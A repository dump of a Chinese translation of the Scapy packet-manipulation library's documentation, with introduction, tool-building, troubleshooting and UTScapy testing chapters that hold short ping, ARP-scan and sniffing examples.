├── .gitignore ├── SUMMARY.md ├── README.md ├── 7.md ├── 5.md ├── 8.md ├── 1.md ├── styles └── ebook.css ├── 2.md ├── 6.md ├── 4.md └── 3.md /.gitignore: -------------------------------------------------------------------------------- 1 | _book 2 | -------------------------------------------------------------------------------- /SUMMARY.md: -------------------------------------------------------------------------------- 1 | + [Scapy 中文文档](README.md) 2 | + [介绍](1.md) 3 | + [下载和安装](2.md) 4 | + [使用方法](3.md) 5 | + [高级用法](4.md) 6 | + [构建你自己的工具](5.md) 7 | + [添加新的协议](6.md) 8 | + [常见问题](7.md) 9 | + [Scapy 开发](8.md) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Scapy 中文文档 2 | 3 | 原文:[Welcome to Scapy's documentation!](http://www.secdev.org/projects/scapy/doc/) 4 | 5 | + [在线阅读](https://www.gitbook.com/book/wizardforcel/scapy-docs/details) 6 | + [PDF格式](https://www.gitbook.com/download/pdf/book/wizardforcel/scapy-docs) 7 | + [EPUB格式](https://www.gitbook.com/download/epub/book/wizardforcel/scapy-docs) 8 | + [MOBI格式](https://www.gitbook.com/download/mobi/book/wizardforcel/scapy-docs) 9 | + [Github](https://github.com/wizardforcel/scapy-docs-zh) 10 | 11 | ## 译者 12 | 13 | | 章节 | 原文 | 译者 | 14 | | --- | --- | --- | 15 | | [介绍](1.md) | [Introduction](http://www.secdev.org/projects/scapy/doc/introduction.html) | [pdcxs007](http://blog.csdn.net/pdcxs007/) | 16 | | [下载和安装](2.md) | [Download and Installation](http://www.secdev.org/projects/scapy/doc/installation.html) | [飞龙](https://github.com/wizardforcel) | 17 | | [使用方法](3.md) | [Usage](http://www.secdev.org/projects/scapy/doc/usage.html) | [Larry](https://github.com/Larryxi) | 18 | | [高级用法](4.md) | [Advanced usage](http://www.secdev.org/projects/scapy/doc/advanced_usage.html) | [草帽小子_DJ](http://blog.csdn.net/dj1174232716/) | 19 | | [构建你自己的工具](5.md) | [Build your own tools](http://www.secdev.org/projects/scapy/doc/extending.html) | [草帽小子_DJ](http://blog.csdn.net/dj1174232716/) | 20 | | [添加新的协议](6.md) | [Adding new protocols](http://www.secdev.org/projects/scapy/doc/build_dissect.html) | [草帽小子_DJ](http://blog.csdn.net/dj1174232716/) | 21 | | [常见问题](7.md) | [Troubleshooting](http://www.secdev.org/projects/scapy/doc/troubleshooting.html) | [飞龙](https://github.com/wizardforcel) | 22 | | [Scapy 开发](8.md) | [Scapy development](http://www.secdev.org/projects/scapy/doc/development.html) | [飞龙](https://github.com/wizardforcel) | 23 | -------------------------------------------------------------------------------- /7.md: -------------------------------------------------------------------------------- 1 | # 常见问题 2 | 3 | > 译者:[飞龙](https://github.com/wizardforcel) 4 | 5 | > 原文:[Troubleshooting](http://www.secdev.org/projects/scapy/doc/troubleshooting.html) 6 | 7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 8 | 9 | 10 | ## 我的 TCP 连接被 Scapy 或者是我的内核重置了 11 | 12 | 内核不知道 Scapy 在他背后做什么。 如果 Scapy 发送 SYN,目标回复 SYN-ACK,并且你的内核看到它,它将回复 RST。 为了防止这种情况,请使用本地防火墙规则(例如 Linux 上的 NetFilter)。 Scapy 不介意本地防火墙。 13 | 14 | ## 我 Ping 不通 127.0.0.1,Scapy 在 127.0.0.1 上或是本地回送接口上不工作 15 | 16 | 回送接口是一个非常特殊的接口。 通过它的数据包没有真正组装和拆卸。 内核将数据包路由到其目的地,而它仍然存储于内部结构中。 你看到的`tcpdump -i lo`只是假的,让你认为一切正常。 内核不知道 Scapy 在背后做什么,所以你在回送接口上看到的也是假的。 这个是不会在本地结构中的,因此内核永远不会收到它。 17 | 18 | 为了和本地的程序交流,你应该在上层协议中构建你的数据包。使用`PF_INET/SOCK_RAW`套接字而不是`PF_PACKET/SOCK_RAW` 19 | 20 | ```py 21 | >>> conf.L3socket 22 | 23 | >>> conf.L3socket=L3RawSocket 24 | >>> sr1(IP(dst="127.0.0.1")/ICMP()) 25 | > 26 | ``` 27 | 28 | ## BPF 过滤器在 PPP 链路上不能工作 29 | 30 | 这是一个已知的 bug。BPF 过滤器必须在 PPP 链路上以不同的偏移来编译。如果你使用`libpcap`(将用来编译 BFP 过滤器),而不是使用 Linux 本地的支持(`PF_PACKET`套接字),他可能会工作。 31 | 32 | ## `traceroute()`在 PPP 链路上不能工作 33 | 34 | 这是一个已知的 bug,BPF 过滤器在 PPP 链路上不能工作。 35 | 36 | 为了能让他正常工作,使用`nofilter=1`: 37 | 38 | ``` 39 | >>> traceroute("target", nofilter=1) 40 | ``` 41 | 42 | ## 画图太丑,字体太大,图片被截断 43 | 44 | 快速修复:用 png 格式 45 | 46 | ``` 47 | >>> x.graph(format="png") 48 | ``` 49 | 50 | ## 更新 GraphViz 的最新版本 51 | 52 | 尝试提供不同的 DPI 选项(比如说:50,70,75,96,101,125): 53 | 54 | ``` 55 | >>> x.graph(options="-Gdpi=70") 56 | ``` 57 | 58 | 如果它工作了,你可以永久设置它: 59 | 60 | ``` 61 | >>> conf.prog.dot = "dot -Gdpi=70" 62 | ``` 63 | 64 | 你也可以将这一行放在你的`~/.scapy_startup.py`文件中。 65 | 66 | ## 获取帮助 67 | 68 | 常见问题都在 FAQ 中。 69 | 70 | 在`scapy.ml(at)secdev.org`([归档](http://news.gmane.org/gmane.comp.security.scapy.general),[RSS,NNTP](http://gmane.org/info.php?group=gmane.comp.security.scapy.general))上有一个低流量邮件列表。 我们鼓励你向此列表发送问题,错误报告,建议,想法,Scapy 的有趣用法等。 通过发送邮件到`scapy.ml-subscribe(at)secdev.org`来订阅。 71 | 72 | 为了避免垃圾邮件,你必须订阅邮件列表才能发布。 73 | 74 | -------------------------------------------------------------------------------- /5.md: -------------------------------------------------------------------------------- 1 | # 构建你自己的工具 2 | 3 | > 译者:[草帽小子_DJ](http://blog.csdn.net/dj1174232716/) 4 | 5 | > 来源:[Python Scapy(2.3.1)文档学习(五):构建自己的工具](http://blog.csdn.net/dj1174232716/article/details/49046043) 6 | 7 | > 原文:[Build your own tools](http://www.secdev.org/projects/scapy/doc/extending.html) 8 | 9 | > 协议:[CC BY-NC-SA 2.5](http://creativecommons.org/licenses/by-nc-sa/2.5/) 10 | 11 | 你可以使用Scapy构建你自己的自动化工具。你也可以扩展Scapy而不必编辑它的源文件。如果你构建了一些有趣的工具,请捐献给我们的邮件列表。 12 | 13 | ## 在你的工具中使用Scapy 14 | 15 | 你可以很容易的在你的工具中使用Scapy,只需要导入你需要的便可以使用。 16 | 17 | 第一个例子是传入一个IP或者一个主机名作为参数,发送一个ICMP响应请求,然后显示返回包完整的构造。 18 | 19 | ```py 20 | #! /usr/bin/env python 21 | 22 | import sys 23 | from scapy.all import sr1,IP,ICMP 24 | 25 | p=sr1(IP(dst=sys.argv[1])/ICMP()) 26 | if p: 27 | p.show() 28 | ``` 29 | 30 | 找个有一个更加灵活的例子,就是生成一个ARP的ping包,并用LaTeX格式报告它所发现的东西。 31 | 32 | ```py 33 | #! /usr/bin/env python 34 | # arping2tex : arpings a network and outputs a LaTeX table as a result 35 | 36 | import sys 37 | if len(sys.argv) != 2: 38 | print "Usage: arping2tex \n eg: arping2tex 192.168.1.0/24" 39 | sys.exit(1) 40 | 41 | from scapy.all import srp,Ether,ARP,conf 42 | conf.verb=0 43 | ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=sys.argv[1]), 44 | timeout=2) 45 | 46 | print r"\begin{tabular}{|l|l|}" 47 | print r"\hline" 48 | print r"MAC & IP\\" 49 | print r"\hline" 50 | for snd,rcv in ans: 51 | print rcv.sprintf(r"%Ether.src% & %ARP.psrc%\\") 52 | print r"\hline" 53 | print r"\end{tabular}" 54 | ``` 55 | 56 | 这有另外一个工具,它将时刻监控机器上的所有的网卡并打印所有的ARP请求。即使是混杂模式下的无线网卡上的801.11数据帧。注意,`sniffer()`函数的参数`store=0`是为了避免将所有的数据包存储在内存。 57 | 58 | ```py 59 | #! /usr/bin/env python 60 | from scapy.all import * 61 | 62 | def arp_monitor_callback(pkt): 63 | if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at 64 | return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%") 65 | 66 | sniff(prn=arp_monitor_callback, filter="arp", store=0) 67 | ``` 68 | 69 | 这里有一个生活中真实的例子,你可以参考WiFitap([http://sid.rstack.org/static/articles/w/i/f/Wifitap_EN_9613.html](http://sid.rstack.org/static/articles/w/i/f/Wifitap_EN_9613.html)). 70 | 71 | ## 扩展Scapy 72 | 73 | 如果你想添加一些新的协议,新的函数,或者任何东西,你可以直接编辑Scapy的源代码。但是这是非常不方便的。即使这些修改将会整合到Scapy中去。可以更加方便的编写他们在单独的文件中。 74 | 75 | 一旦你这么做了,你可以启动Scapy并导入自己的文件,但是这还是不是很方便,另外一个能做到这一点的方法是让你文件执行并且调用Scapy的`interact()`函数。 76 | 77 | ```py 78 | #! /usr/bin/env python 79 | 80 | # Set log level to benefit from Scapy warnings 81 | import logging 82 | logging.getLogger("scapy").setLevel(1) 83 | 84 | from scapy.all import * 85 | 86 | class Test(Packet): 87 | name = "Test packet" 88 | fields_desc = [ ShortField("test1", 1), 89 | ShortField("test2", 2) ] 90 | 91 | def make_test(x,y): 92 | return Ether()/IP()/Test(test1=x,test2=y) 93 | 94 | if __name__ == "__main__": 95 | interact(mydict=globals(), mybanner="Test add-on v3.14") 96 | ``` 97 | 98 | 如果你运行上面的代码,便会得到下面的结果: 99 | 100 | ``` 101 | # ./test_interact.py 102 | Welcome to Scapy (0.9.17.109beta) 103 | Test add-on v3.14 104 | >>> make_test(42,666) 105 | >> 106 | ``` -------------------------------------------------------------------------------- /8.md: -------------------------------------------------------------------------------- 1 | # Scapy 开发 2 | 3 | > 译者:[飞龙](https://github.com/wizardforcel) 4 | 5 | > 原文:[Scapy development](http://www.secdev.org/projects/scapy/doc/development.html) 6 | 7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 8 | 9 | 10 | ## 项目组织 11 | 12 | Scapy 开发使用 Mercurial 版本控制系统。 Scapy 的参考资料库位于 。 13 | 14 | 项目管理由 Trac 完成。 Trac 在 Scapy 的参考资料库中工作。 它提供了一个可以自由编辑的 Wiki(请贡献!),可以引用项目的 ticket,变更集,文件。 它还提供了一个 ticket 管理服务,用于避免遗忘补丁或错误。 15 | 16 | Mercurial 的分布式工作方式使 Philippe 可提供两个仓库,任何人都可以提交:Scapy [社区仓库](http://hg.secdev.org/scapy-com)和 Scapy [Windows 端口仓库](http://hg.secdev.org/scapy-com)。 17 | 18 | ## 如何贡献 19 | 20 | + 在 Scapy 中发现了一个错误?[添加 ticket](http://trac.secdev.org/scapy/newticket)。 21 | + 改进此文档。 22 | + 编写一个新的协议层,并在邮件列表上分享。或者在 bugtracker 上将其添加为改进。 23 | + 贡献新的[回归测试](http://trac.secdev.org/scapy/wiki/RegressionTests)。 24 | + 在[封包样例](http://trac.secdev.org/scapy/wiki/PacketsSamples)页面上为新协议上传封包样例。 25 | 26 | ## 使用 UTScapy 测试 27 | 28 | ### 什么是 UTScapy? 29 | 30 | UTScapy 是一个小型 Python 程序,它读取测试活动,使用 Scapy 运行活动,并生成一个指示测试状态的报告。报告可以是四种格式之一,即 text,ansi,HTML 或 LaTeX。 31 | 32 | UTScapy 存在三个基本测试容器,单元测试,测试集和测试活动。单元测试是 Scapy 命令列表,由 Scapy 或 Scapy 的派生作品运行。在单元测试中最后一个命令的评估,将确定单个单元测试的最终结果。测试集是一组具有某种关联的单元测试。测试活动由一或多个测试集组成。测试集和单元测试可以被赋予关键字来形成逻辑分组。运行测试活动时,可以按关键字选择测试。这允许用户在期望的分组内运行测试。 33 | 34 | 对于每个单元测试,测试集和活动,测试的 CRC32 被计算并显​​示为该测试的签名。该测试签名足以确定实际测试按预期运行而没有修改。如果你遇到的一些恶意用户,试图修改或损坏文件,而不改变 CRC32,全局 SHA1 会在整个文件计算。 35 | 36 | ### 活动的语法 37 | 38 | 表 1 显示了 UTScapy 正在寻找的语法指标。 在定义测试的文本文件的每一行中,语法限定符必须是第一个字符。 由 UTScapy 解释的参数是遵循语法限定符的文本描述。 在没有前导语法限定符的情况下出现的行将被视为 Python 命令,前提是它们出现在单元测试的上下文中。 没有语法限定符,并出现在正确上下文之外的行将被 UTScapy 拒绝,并且将发出警告。 39 | 40 | 41 | | 语法限定符 | 定义 | 42 | | --- | --- | 43 | | `%` | 提供测试活动的名称 | 44 | | `+` | 声明新的测试集 | 45 | | `=` | 声明新的单元测试 | 46 | | `~` | 为当前单元测试声明关键字 | 47 | | `*` | 表示需要在报告中包含的注释 | 48 | | `#` | 测试用例的注解,会被解释器忽略 | 49 | 50 | 表 1 - UTScapy 语法限定符 51 | 52 | 在测试报告中的注释有一个上下文。 每个注释将与最后定义的测试容器相关联 - 这是单个单元测试,测试集或测试活动。 与特定容器相关联的多个注释将连接在一起,并将直接显示在测试容器声明后的报告中。 在声明测试活动之前,应该会显示测试文件的一般注释。 对于与测试活动相关联的注释,它们必须位于声明测试活动之后,但在任何测试集或单元测试之前出现。 测试集的注释应在集合的第一个单元测试的定义之前出现。 53 | 54 | 测试活动的通用格式如下表所示: 55 | 56 | ``` 57 | % Test Campaign Name 58 | * Comment describing this campaign 59 | 60 | 61 | + Test Set 1 62 | * comments for test set 1 63 | 64 | = Unit Test 1 65 | ~ keywords 66 | * Comments for unit test 1 67 | # Python statements follow 68 | a = 1 69 | print a 70 | a == 1 71 | ``` 72 | 73 | Python 语句由缺少定义的 UTScapy 语法限定符来标识。 Python 语句直接提供给 Python 解释器,就像在交互式 Scapy shell(交互)中操作一样。循环,迭代和条件是允许的,但必须以空行终止。测试集可以包括多个单元测试,并且可以为每个活动定义多个测试集。甚至可以在特定测试定义文件中包含多个测试活动。使用关键字可以测试整个活动的子集。例如,在测试活动的开发期间,用户可能希望使用关键词“debug”来标记正在开发的新测试。一旦测试成功运行出他们想要的结果,关键字“debug”可以被删除。也可以使用诸如“regression”或“limited”的关键词。 74 | 75 | 重要的是要注意,UTScapy 使用来自最后一个 Python 语句的真值作为测试是通过还是失败的指示符。最后一行可能出现多个逻辑测试。如果结果为 0 或`False`,则测试失败。否则,测试通过。如果需要,使用`assert()`语句可以强制中间值的求值。 76 | 77 | UTScapy 的语法如表 3 所示 - UTScapy 命令行语法: 78 | 79 | ``` 80 | [root@localhost scapy]# ./UTscapy.py –h 81 | Usage: UTscapy [-m module] [-f {text|ansi|HTML|LaTeX}] [-o output_file] 82 | [-t testfile] [-k keywords [-k ...]] [-K keywords [-K ...]] 83 | [-l] [-d|-D] [-F] [-q[q]] 84 | -l : generate local files 85 | -F : expand only failed tests 86 | -d : dump campaign 87 | -D : dump campaign and stop 88 | -C : don't calculate CRC and SHA 89 | -q : quiet mode 90 | -qq : [silent mode] 91 | -n : only tests whose numbers are given (eg. 1,3-7,12) 92 | -m : additional module to put in the namespace 93 | -k ,,... : include only tests with one of those keywords (can be used many times) 94 | -K ,,... : remove tests with one of those keywords (can be used many times) 95 | ``` 96 | 97 | 表 3 - UTScapy 命令行语法 98 | 99 | 所有参数都是可选的。 没有相关联的参数值的参数可以串在一起(即`-lqF`)。 如果未指定测试文件,则测试定义来自``。 类似地,如果没有指定输出文件,则它被定向到``。 默认输出格式为“ansi”。 表 4 列出了参数,相关联的参数值及其对 UTScapy 的含义。 100 | 101 | | 参数 | 参数值 | 对 UTScapy 的含义 | 102 | | --- | --- | --- | 103 | | -t | `testfile` | 定义测试活动的测试文件(默认为``) | 104 | | -o | `output_file` | 测试活动结果的输出文件(默认为``) | 105 | | -f | `test` | `ansi`,`HTML`,`LaTeX`,输出报告的格式(默认为`ansi`) | 106 | | -l | | 在本地生成报告的相关文件。对于 HTML,生成 JavaScript 和样式表 | 107 | | -F | | 默认情况下,失败的测试用例会在 HTML 输出中展开 | 108 | | -d | | 在执行活动之前打印测试活动的简短列表。 | 109 | | -D | | 打印测试活动的简短列表并停止。不执行测试活动。 | 110 | | -C | | 不要计算测试签名 | 111 | | -q | | 在测试执行时,不要在屏幕上显示测试流程 | 112 | | -qq | | 静默模式 | 113 | | -n | `testnum` | 只执行由数字列出的这些测试。 测试编号可以使用`–d`或`–D`来获取。测试可以使用以逗号分隔的列表来列出,并且可以包含范围(例如 1, 3-7, 12)。 | 114 | | -m | `module` | 在执行测试之前加载模块。 使用 Scapy 的派生作品来测试。 注意:要作为`__main__`执行的派生作品不会被 UTScapy 作为`__main__`调用。 | 115 | | -k | `kw1, kw2, ...` | 只包含带有关键字`kw1`的测试,可以指定多个关键字。 | 116 | | -K | `kw1, kw2, ...` | 排除带有关键字`kw1`的测试,可以指定多个关键字。 | 117 | 118 | 表 4 - UTScapy 参数 119 | 120 | 表 5 显示了具有多个测试集定义的简单测试活动。 此外,关键字指定了仅允许执行有限数量的测试用例。 注意在测试 3 和 5 中使用`assert()`语句来检查中间结果。 测试 2 和 5 为失败而设计。 121 | 122 | ``` 123 | % Example Test Campaign 124 | 125 | # Comment describing this campaign 126 | # 127 | # To run this campaign, try: 128 | # ./UTscapy.py -t example_campaign.txt -f html -o example_campaign.html -F 129 | # 130 | 131 | * This comment is associated with the test campaign and will appear 132 | * in the produced output. 133 | 134 | + Test Set 1 135 | 136 | = Unit Test 1 137 | ~ test_set_1 simple 138 | a = 1 139 | print a 140 | 141 | = Unit test 2 142 | ~ test_set_1 simple 143 | * this test will fail 144 | b = 2 145 | a == b 146 | 147 | = Unit test 3 148 | ~ test_set_1 harder 149 | a = 1 150 | b = 2 151 | c = "hello" 152 | assert (a != b) 153 | c == "hello" 154 | 155 | + Test Set 2 156 | 157 | = Unit Test 4 158 | ~ test_set_2 harder 159 | b = 2 160 | d = b 161 | d is b 162 | 163 | = Unit Test 5 164 | ~ test_set_2 harder hardest 165 | a = 2 166 | b = 3 167 | d = 4 168 | e = (a * b)**d 169 | # The following statement evaluates to False but is not last; continue 170 | e == 6 171 | # assert evaluates to False; stop test and fail 172 | assert (e == 7) 173 | e == 1296 174 | 175 | = Unit Test 6 176 | ~ test_set_2 hardest 177 | print e 178 | e == 1296 179 | ``` 180 | 181 | 为了查看以 Scapy 为目标的示例,请访问 。将页面底部的示例复制粘贴到文件`demo_campaign.txt`,并对它运行 UTScapy: 182 | 183 | ``` 184 | ./UTscapy.py -t demo_campaign.txt -f html -o demo_campaign.html –F -l 185 | ``` 186 | 187 | 在文件`demo_campaign.html`中检测生成的结果。 188 | -------------------------------------------------------------------------------- /1.md: -------------------------------------------------------------------------------- 1 | # 介绍 2 | 3 | > 译者:[pdcxs007](http://blog.csdn.net/pdcxs007/) 4 | 5 | > 来源:[Scapy介绍官方文档翻译](http://blog.csdn.net/pdcxs007/article/details/46686843) 6 | 7 | > 原文:[Introduction](http://www.secdev.org/projects/scapy/doc/introduction.html) 8 | 9 | > 协议:[CC BY-NC-SA 2.5](http://creativecommons.org/licenses/by-nc-sa/2.5/) 10 | 11 | * [关于Scapy](#关于scapy) 12 | * [Scapy为何如此特别](#scapy为何如此特别) 13 | * [快速的报文设计](#快速的报文设计) 14 | * [一次探测多次解释](#一次探测多次解释) 15 | * [Scapy解码而不解释](#scapy解码而不解释) 16 | * [快速展示Quick demo](#快速展示quick-demo) 17 | * [合理的默认值](#合理的默认值) 18 | * [学习Python](#学习python) 19 | 20 | 本人英文水平有限,翻译不当之处,请参考[官方网站](http://www.secdev.org/projects/scapy/doc/introduction.html#about-scapy)。 21 | 22 | 23 | 24 | # 关于`Scapy` 25 | 26 | `Scapy`是一个可以让用户发送、侦听和解析并伪装网络报文的[Python](http://lib.csdn.net/base/11 "undefined")程序。这些功能可以用于制作侦测、扫描和攻击网络的工具。 27 | 28 | 换言之,`Scapy` 是一个强大的操纵报文的交互程序。它可以伪造或者解析多种协议的报文,还具有发送、捕获、匹配请求和响应这些报文以及更多的功能。`Scapy` 可以轻松地做到像扫描(scanning)、路由跟踪(tracerouting)、探测(probing)、单元测试(unit tests)、攻击(attacks)和发现网络(network discorvery)这样的传统任务。它可以代替`hping`,`arpspoof`,`arp-sk`,`arping`,`p0f` 甚至是部分的`Namp`,`tcpdump`和`tshark` 的功能。 29 | 30 | ![testing-taxonomy.png](http://www.secdev.org/projects/scapy/doc/_images/testing-taxonomy.png) 31 | 32 | `Scapy` 在大多数其它工具无法完成的特定任务中也表现优异,比如发送无效帧、添加自定义的802.11的侦、多技术的结合(跳跃攻击(VLAN hopping)+ARP缓存中毒(ARP cache poisoning)、在WEP加密信道(WEP encrypted channel)上的VOIP解码(VOIP decoding))等等等等。 33 | 34 | 理念非常简单。`Scapy` 主要做两件事:发送报文和接收回应。您定义一系列的报文,它发送这些报文,收到回应,将收到的回应和请求匹配,返回一个存放着(request, answer)即(请求, 回应)的报文对(packet couples)的列表(list)和一个没有匹配的报文的列表(list)。这样对于像`Nmap`和`hping` 这样的工具有一个巨大的优势:回应没有被减少 (open/closed/filtered)而是完整的报文。 35 | 36 | 在这之上可以建立更多的高级功能,比如您可以跟踪路由(traceroutes)并得到一个只有请求的起始TTL和回应的源IP的结果,您也可以ping整个网络并得到匹配的回复的列表,您还可以扫描商品并得到一个<nobr>`LATEX`</nobr> 报表。 37 | 38 | 39 | 40 | # `Scapy`为何如此特别 41 | 42 | 第一,对于其它的大多数网络工具来说,您无法制作一些作者无法想到的东西。这些工具已经被一个特定的目标所局限和固定,因此无法和这个目标有大的偏离。比如,一个ARP缓存中毒程序不会让您使用`double 802.1q` 包裹内容,同样无法找到一个程序可以发送填充(padding)的ICMP报文(是填充(padding),不是负载(payload))。事实上,每次有新需求时,您必需重新建立一个新的工具。 43 | 44 | 第二,这些工具经常混淆解码(decoding)和解释(interpreting)。机器擅长解码并能帮助人类完成这个工作。解释应该留给人类。一些程序试图模拟这个行为。比如它们说“这个端口是打开的”而不是说“我收到一个`SYN-ACK`“.有时它们是对的,但有时不是。这样做对于初学者来说更容易,但是当您知道您正在做什么,您将继续试图推从程序的解释中测实际上发生了什么来制作自己的工具,但是这相当困难,因为大量的信息已经丢失。因此最终常常是您使用`tcpdump -xX`来解码和解释这些工具丢掉的内容。 45 | 46 | 第三,即使是那些只管解码的程序也没有把它们收到的所有的信息交给您。它们给您展示的网络信息只是其作者认为足够的信息。但是这些并不完整,对您来说是偏颇的。比如,您知道有什么工具可以得到以太帧填充的报文吗(reports the Ethernet padding)? 47 | 48 | 事实上,每次运行本程序,更像是建造一个新的工具,不是处理上百行的C程序代码,您使用`Scapy`只需写几行代码。 49 | 50 | 在探测(probe)(或者扫描(scan)、路由跟踪(traceroute)等等)之后,`Scapy`总是在任何的解释之前把探测到的所有的包解码后给您。这意味着您可以探测一次而解释很多次,也可以使用路由跟踪并查看报文填充内容。 51 | 52 | 53 | 54 | # 快速的报文设计 55 | 56 | 其它的工具坚持**命令行运行**的模式,这导致描述一个报文需要糟糕的语法。对于这些工具,解决的方法是在其作者想像的情景下,采用一种更高层但是功能更弱的描述方法。举例来说,在端口扫描的情景中,端口扫描器必须的参数只有IP地址。即使情景有所改变,情况依然如此(Even if the scenario is tweaked a bit, you still are stuck to a port scan)。 57 | 58 | `Scapy`的原则是推荐使用一种**特定领域语言**(Domain Specific Language (DSL))以达到对于任何种类报文的功能强大并快速的描述。使用`Python`语法和`Python`解释器作为特定领域语言(DSL)的语法和解释器有许多优势:没有必要写一个单独的解释器,用户不需要再学一种新语言并可以从这个完整、简约且非常强大的语言中受益。 59 | 60 | `Scapy`允许用户将一个或一系列报文描述成为一个个堆起来的层(layer)。每层的数据域有有用的且可重载的默认值。`Scapy`不强制用户使用预先定义的方法和模板。这样每次碰到不同的情景时写新工具的需要得到了减少。在C语言中,描述一个报文可能平均要用60行代码。使用`Scapy`,发送的报文可能仅需一行代码描述再加一行打印结果的代码。90%的网络探测工具可以使用`Scapy`使用2行代码重新实现。 61 | 62 | 63 | 64 | # 一次探测,多次解释 65 | 66 | 网络的发现是一个黑盒测试。当探测一个网络时,许多侦测报文(stimuli)发送然而它们当中只有少数能够被回应。如果选择了正确的侦测报文,希望得到的信息可以通过回应的报文或者是没有回应的情况来获得。不像很多其它的工具,`Scapy`得到所有的信息,也就是说,所有的发送的侦测报文和所有收到的回应。通过检查这些数据用户可以得到想要的信息。当数据量较小时,用户可以直接查看数据。在其它情况下,对于数据的解释将依赖于关注点的不同。多数工具选择展示关注点内容而忽略和关注点无关的内容。由于`Scapy`给出完整的原始数据,因此这些数据可以多次使用从而允许关注点在分析过程中发生变化。比如,可能探测一个TCP端口扫描而关注(展示)端口扫描的结果。同时也可以查看回应报文的TTL方面的内容。一个新的探测并不需要再来一次,而只是在已有的数据中改一下关注点即可。 67 | 68 | ![scapy concept](http://www.secdev.org/projects/scapy/doc/_images/scapy-concept.png) 69 | 70 | 71 | 72 | # `Scapy`解码而不解释 73 | 74 | 网络探测工具所共有的一个问题是它们都试图解释收到的回应而非仅仅解码并给出结果。报告一些类似于**在80端口收到一个TCP Reset报文**这样的消息不属于解释错误。报告**80端口关闭**在多数情况下是正确的,但是在某些特定的工具的作者没有想到的上下文中是错误的。比如,一些扫描器在收到一个目的地址不可达的ICMP报文后倾向于报告一个过滤TCP端口。这可能是正确的,但是在某些情况下,这表明报文被防火墙过滤掉而找不到报文的非目的主机。 75 | 76 | 解释结果可以帮助那些不知道什么是端口扫描的用户,但是弊大于利,因为这对于结果是一种主观的解释。可能的结果就是它们可以自己解释,知识丰富的用户将试图反向还原这个工具的解释以得到引起这个解释的真正原因。不幸的是,在这个过程中有大量的信息丢失。 77 | 78 | 79 | 80 | # 快速展示(Quick demo) 81 | 82 | 首先我们稍微试一下,一次创建4个IP报文来看看这个工具是如何工作的。我们首先初始化IP类。然后,我们重新将其实例化并给出4个IP报文的目的地址(/30给出掩码)。使用`Python`语法,我们在一系列明确的报文中定义这个报文(we develop this implicit packet in a set of explicit packets)。然后,我们退出解释器。作为我们提供的会话文件(session file),这些我们正在使用变量已经保存,然后重新加载: 83 | 84 | ``` 85 | # ./scapy.py -s mysession 86 | New session [mysession] 87 | Welcome to Scapy (0.9.17.108beta) 88 | >>> IP() 89 | 90 | >>> target="www.target.com" 91 | >>> target="www.target.com/30" 92 | >>> ip=IP(dst=target) 93 | >>> ip 94 | |> 95 | >>> [p for p in ip] 96 | [, 97 | , ] 98 | >>> ^D 99 | ``` 100 | 101 | ``` 102 | # scapy -s mysession 103 | Using session [mysession] 104 | Welcome to Scapy (0.9.17.108beta) 105 | >>> ip 106 | 107 | ``` 108 | 109 | 现在,我们来操纵一些报文: 110 | 111 | ``` 112 | >>> IP() 113 | 114 | >>> a=IP(dst="172.16.1.40") 115 | 116 | >>> a.dst 117 | '172.16.1.40' 118 | >>> a.ttl 119 | 64 120 | ``` 121 | 122 | 让我们来说我想要一个广播的MAC地址,并且负载的IP报文要到达ketchup.com和mayo.com,TTL值从1到9,并负载UDP报文: 123 | 124 | ``` 125 | >>> Ether(dst="ff:ff:ff:ff:ff:ff") 126 | /IP(dst=["ketchup.com", "mayo.com"], ttl=(1,9)) 127 | /UDP() 128 | ``` 129 | 130 | 现在我们在一行(一个确定报文(implicit packet))中定义了18个报文。 131 | 132 | 133 | 134 | # 合理的默认值 135 | 136 | `Scapy`试图在所有种类的报文数据域中使用合理的默认值,如果没有被重载的话, 137 | 138 | * IP源地址根据目的地址和路由表选择 139 | * 校验和自动计算 140 | * 源MAC地址根据输出接口(output interface)选择 141 | * 以太网类型和IP协议由高层决定 142 | 143 | ![default values ip](http://www.secdev.org/projects/scapy/doc/_images/default-values-ip.png) 144 | 145 | 其它数据域选择最有用的值: 146 | 147 | * TCP源端口为20,目的端口为80 148 | * UDP源端口和目的端口均为53 149 | * ICMP类型为echo request 150 | 151 | 152 | 153 | # 学习`Python` 154 | 155 | `Scapy`使用`Python`解释器作为命令面板。这意味着你可以直接使用`Python`语言(创建变量,使用循环,定义函数等等)。 156 | 157 | 如果你刚开始使用`Python`并且因此你不理解这些词语,或者如果你想学习这个语言,花一个小时来阅读一个Guido Van Rossum写的非常棒的[Python教程](https://docs.python.org/tutorial)。在此之后,你将知道`Python` :)(真的!)。对于更加深入的学习,[Dive Into Python](http://woodpecker.org.cn/diveintopython/)也是一个很好的开始。 158 | 159 | 作为一个快速的开始,下面是`Python`数据类型的概览: 160 | 161 | * `int`(signed, 32bits) : `42` 162 | * `long`(signed, infinite) : `42L` 163 | * `str` : `"bell\x07\n"` or `'bell\x07\n'` 164 | * `tuple` (immutable): `(1,4,"42")` 165 | * `list` (mutable): `[4,2,"1"]` 166 | * `dict` (mutable): `{"one":1, "two":2}` 167 | 168 | `Python`中没有块分割符,而是同缩进决定: 169 | 170 | ``` 171 | if cond: 172 | instr 173 | instr 174 | elif cond2: 175 | instr 176 | else: 177 | instr 178 | ``` -------------------------------------------------------------------------------- /styles/ebook.css: -------------------------------------------------------------------------------- 1 | /* GitHub stylesheet for MarkdownPad (http://markdownpad.com) */ 2 | /* Author: Nicolas Hery - http://nicolashery.com */ 3 | /* Version: b13fe65ca28d2e568c6ed5d7f06581183df8f2ff */ 4 | /* Source: https://github.com/nicolahery/markdownpad-github */ 5 | 6 | /* RESET 7 | =============================================================================*/ 8 | 9 | html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video { 10 | margin: 0; 11 | padding: 0; 